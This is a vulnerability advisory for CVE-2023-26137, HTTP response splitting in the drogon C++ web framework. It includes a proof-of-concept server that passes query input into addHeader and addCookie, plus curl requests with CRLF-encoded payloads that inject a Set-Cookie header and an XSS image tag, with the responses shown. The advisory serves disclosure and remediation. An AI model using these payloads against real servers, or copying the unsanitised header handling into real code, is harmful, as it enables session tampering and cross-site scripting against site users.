Headline
CVE-2023-26137: HTTP Response Splitting in [email protected]
All versions of the package drogonframework/drogon are vulnerable to HTTP Response Splitting when untrusted user input is used to build header values in the addHeader and addCookie functions. An attacker can add the \r\n (carriage return line feeds) characters to end the HTTP response headers and inject malicious content.
HTTP Response Splitting in [email protected]
Information
Project: drogon
Tested Version: v1.8.4
Github Repository: https://github.com/drogonframework/drogon
Details
drogon is vulnerable to HTTP Response Splitting when untrusted user input is used to build headers values in the addHeader and addCookie functions. An attacker can add the \r\n (carriage return line feeds) characters to end the HTTP response headers and inject malicious content, like for example additional headers or new response body, leading to a potential XSS vulnerability.
More reference about this vulnerability and its impact:
- https://owasp.org/www-community/attacks/HTTP_Response_Splitting
- https://cwe.mitre.org/data/definitions/113.html
Reference to similar issues affecting other projects:
- https://security.snyk.io/vuln/SNYK-SWIFT-APPLESWIFTNIO-3105796
Setup
install dependencies (tested on Ubuntu): https://github.com/drogonframework/drogon/wiki/ENG-02-Installation#system-preparation-examples
install the project: https://github.com/drogonframework/drogon/wiki/ENG-02-Installation#drogon-installation
PoC
The PoC demonstrates how it’s possible to add arbitrary headers and response body if user controlled values are used to set the headers value.
- create a web server:
drogon_ctl --version A utility for drogon Version: 1.8.4 Git commit: 87a3132fd1c0da1a88e080c879a9e55af71586be
drogon_ctl create project server
paste the server code in main.cc (inspired by https://github.com/drogonframework/drogon/blob/master/examples/helloworld/main.cc)
build and run the server
cd build cmake … make ./server
- run the following curl commands to observe the response (or directly open the links in the browser to see the xss alert)
curl -i -X GET “http://localhost:8889/test1?user=A%0d%0aSet-Cookie:+admin=1%0d%0aFoo:+Bar%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a” HTTP/1.1 200 OK content-length: 39 content-type: text/html; charset=utf-8 server: drogon/1.8.4 myheader: A Set-Cookie: admin=1 Foo: Bar
<img src=x onerror=alert(“hello”) />
curl -i -X GET “http://localhost:8889/test2?user=A%0d%0aFoo:+Bar%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a” HTTP/1.1 200 OK content-length: 39 content-type: text/html; charset=utf-8 server: drogon/1.8.4 Set-Cookie: MyCookie=A Foo: Bar
<img src=x onerror=alert(“hello”) /> ;
curl -i -X GET “http://localhost:8889/test3?user=A%0d%0aSet-Cookie:+admin=1%0d%0aFoo:+Bar%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a” HTTP/1.1 200 OK content-length: 39 content-type: text/html; charset=utf-8 server: drogon/1.8.4 myheader: A Set-Cookie: admin=1 Foo: Bar
<img src=x onerror=alert(“hello”) />
Impact
If untrusted user input is placed in header values, a malicious user could inject additional headers. It can lead to logical errors and other misbehaviours.
Author
Alessio Della Libera
#include <drogon/drogon.h>
using namespace drogon;
int main()
{
// curl -i -X GET “http://localhost:8889/test1?user=A%0d%0aSet-Cookie:+admin=1%0d%0aFoo:+Bar%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a”
app().registerHandler(
"/test1?user={user-name}",
[](const HttpRequestPtr &, std::function<void(const HttpResponsePtr &)> &&callback, const std::string &name) {
auto resp = HttpResponse::newHttpResponse();
resp->addHeader("MyHeader", name);
resp->setBody(“Hello world!!!\n”);
callback(resp);
},
{Get});
// curl -i -X GET “http://localhost:8889/test2?user=A%0d%0aFoo:+Bar%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a”
app().registerHandler(
"/test2?user={user-name}",
[](const HttpRequestPtr &, std::function<void(const HttpResponsePtr &)> &&callback, const std::string &name) {
auto resp = HttpResponse::newHttpResponse();
resp->addCookie("MyCookie", name);
resp->setBody(“Hello world!!!\n”);
callback(resp);
},
{Get});
// curl -i -X GET “http://localhost:8889/test3?user=A%0d%0aSet-Cookie:+admin=1%0d%0aFoo:+Bar%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a”
app().registerHandler(
"/test3",
[](const HttpRequestPtr &req,
std::function<void(const HttpResponsePtr &)> &&callback) {
auto resp = HttpResponse::newHttpResponse();
auto name = req->getOptionalParameter<std::string>(“user”);
if (name)
resp->addHeader("MyHeader", name.value());
resp->setBody(“Hello world!!!\n”);
callback(resp);
},
{Get});
LOG_INFO << "Server running on 0.0.0.0:8889";
app().addListener("0.0.0.0", 8889).run();
}